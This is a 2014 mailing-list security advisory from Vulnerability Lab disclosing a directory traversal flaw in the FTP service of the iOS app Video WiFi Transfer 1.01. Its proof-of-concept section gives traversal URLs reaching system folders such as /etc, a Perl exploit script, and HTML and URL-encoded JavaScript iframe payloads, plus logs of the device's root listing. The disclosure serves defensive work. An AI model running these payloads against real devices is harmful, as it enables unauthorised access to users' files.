[<prev] [next>] [day] [month] [year] [list]
Message-ID: <53DF72C5.4010206@vulnerability-lab.com>
Date: Mon, 04 Aug 2014 13:47:17 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: Video WiFi Transfer 1.01 - Directory Traversal Vulnerability
Document Title:
===============
Video WiFi Transfer 1.01 - Directory Traversal Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1288
Release Date:
=============
2014-08-02
Vulnerability Laboratory ID (VL-ID):
====================================
1288
Common Vulnerability Scoring System:
====================================
6.7
Product & Service Introduction:
===============================
Using this app, you can download videos to a PC or a smartphone from your iPhone through WiFi. The video downloaded can be played back
on PC and another smart phones as well as Mac and iPhone because the app converts it into a MP4 video. It only takes a few seconds for
the conversion. You would say it is the fastest. Just run the app on the iPhone and open the web browser on your PC or Android. That is
all that you are required to do. It is quite simple. In addition to the web browser, a ftp client application is also supported to
access the videos. Do not pay money for these functions as the app provides all of them without charging.
(Copy of the Homepage: https://itunes.apple.com/de/app/video-wifi-transfer-mp4-conversion/id892132370 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a Directory Traversal vulnerability in the official Bluefinger App Video WiFi Transfer/MP4 Conversion v1.01 iOS mobile application.
Vulnerability Disclosure Timeline:
==================================
2014-08-01: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
BlueFinger Apps
Product: Video WiFi Transfer/MP4 Conversion - iOS Mobile Web Application 1.01
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the official BlueFinger Apps Video WiFi Transfer v1.01 iOS mobile application.
The vulnerability allows remote attackers to bypass the path restriction of a service to access sensitive app-, web-server or -device information.
The vulnerability is located in the `ftp` (ftp://localhost:8080) service of the wifi `web-server` module. The issue allows an attacker to bypass
the regular `folder/path` validation mechnism to access sensitive app web-server or iOS -device information. The attack vector of the issue is on
the application-side of the service and to perform malicious request the `GET method` is required to use.
After the start of the web-server by usage of the ftp function, the attacker is able to include 5 more path values (../../../../../) to access
unauthorized higher folders outside the mobile application service. In the analysis we saw that the path change of 5 directories is required
to bypass. During the tests we accessed the full app service folder and through the directory traversal to web-server configuration files but
also the parent device directory.
The security risk of the directory traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system)
count of 6.7. Exploitation of the path traversal web vulnerability requires no privileged web-application user account or user interaction.
Successful exploitation of the directory traversal vulnerability results in mobile application or connected device component compromise.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Directory
Vulnerable Parameter(s):
[+] path
Affected Module(s):
[+] Parent Directory (ftp://localhost:8080/)
Note: The structure of the software is the same like in the official BlueFinger Apps `Photo` WiFi Transfer v1.01 iOS mobile application.
The same vulnerability is located in both mobile ios software of the bluefinger apps company.
Proof of Concept (PoC):
=======================
The directory traversal web vulnerability can be exploited by attackers without privileged application user account and user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Exception:
50 /private/var/mobile/Applications/CFCEEF6E-AA35-42D6-84EC-BFB518F764B1/Documents/video/../../etc/passwd No such file or directory.
Standard Request:
ftp://localhost:8080/../../Documents/
PoC: Links
ftp://localhost:8080/../../../../../../../../../../../../../../../../etc
ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/
ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/
ftp://localhost:8080/../../../../../../../../../../../../../../../../System/
Exploit: PoC (PL)
#!/usr/bin/perl
use LWP::Simple;
print "-------------------------------------------\n";
print "-= Photo WiFi Transfer v1.0.1 - PoC Directory Traversal=-\n";
print "-------------------------------------------\n\n";
print "Target(ftp://localhost:8080/)\> ";
chomp($targ = <STDIN>);
print "Path: (/fn25/)\>";
chomp($path=<STDIN>);
$url = "../../../../../../../../etc/";
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $page\n";
Exploit: PoC (HTML)
<html>
<head><body><title></title>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../etc>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../System/>
</body></head>
<html>
Exploit: PoC (JS)
<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%3Ctitle%3E%3C/title%3E%0A%3Ciframe%20src%3Dftp%3A//
localhost%3A8080/../../../../../../../../../../../../../../../../etc%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/
../../../../../../../../../../../../../../../../usr/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../
../../../../../../../../../../../Applications/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../../../
../../../../../../../../../System/%3E%0A%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>
--- PoC Console Logs ---
Applications 14.03.2014 19:06:00
Developer 18.08.2013 06:19:00
Library 20.10.2013 06:32:00
System 17.10.2013 08:08:00
bin 03.07.2014 18:13:00
cores 18.08.2013 05:56:00
Datei:etc 1 KB 20.10.2013 06:32:00
private 05.01.2014 22:18:00
sbin 03.07.2014 18:13:00
Datei:tmp 1 KB 20.10.2013 06:32:00
usr 20.10.2013 06:23:00
Datei:var 1 KB 20.10.2013 06:32:00
300: ftp://localhost:8080/../../../../../../../../
200: filename content-length last-modified file-type
201: "Applications" 0 Sun%2C%2014%20Mar%202014%2019%3A06%3A00 DIRECTORY
201: "Developer" 0 Sun%2C%2018%20Aug%202013%2006%3A19%3A00 DIRECTORY
201: "Library" 0 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 DIRECTORY
201: "System" 0 Sun%2C%2017%20Oct%202013%2008%3A08%3A00 DIRECTORY
201: "bin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY
201: "cores" 0 Sun%2C%2018%20Aug%202013%2005%3A56%3A00 DIRECTORY
201: "etc" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE
201: "private" 0 Sun%2C%2005%20Jan%202014%2022%3A18%3A00 DIRECTORY
201: "sbin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY
201: "tmp" 15 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE
201: "usr" 0 Sun%2C%2020%20Oct%202013%2006%3A23%3A00 DIRECTORY
201: "var" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE
Note: The traversal becomes visible after the 5th path/folder request and affects like regular the full app path via web-server. (_eTiGb+6)
The issue is the same vulnerability like in the VL-ID 1286. The producer only changed the software name and converter to ensure that
video can be transfered then pictures.
Solution - Fix & Patch:
=======================
The directory traversal web vulnerability can be patched by a secure filter and restriction mechanism in the GET method request of the directory/path name value module.
Security Risk:
==============
The security risk of the directory traversal web vulnerability in the ftp service of the mobile application is estimated as high.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@...lution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@...nerability-lab.com - research@...nerability-lab.com - admin@...lution-sec.com
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@...nerability-lab.com or research@...nerability-lab.com) to get a permission.
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@...nerability-lab.com
Powered by blists - more mailing lists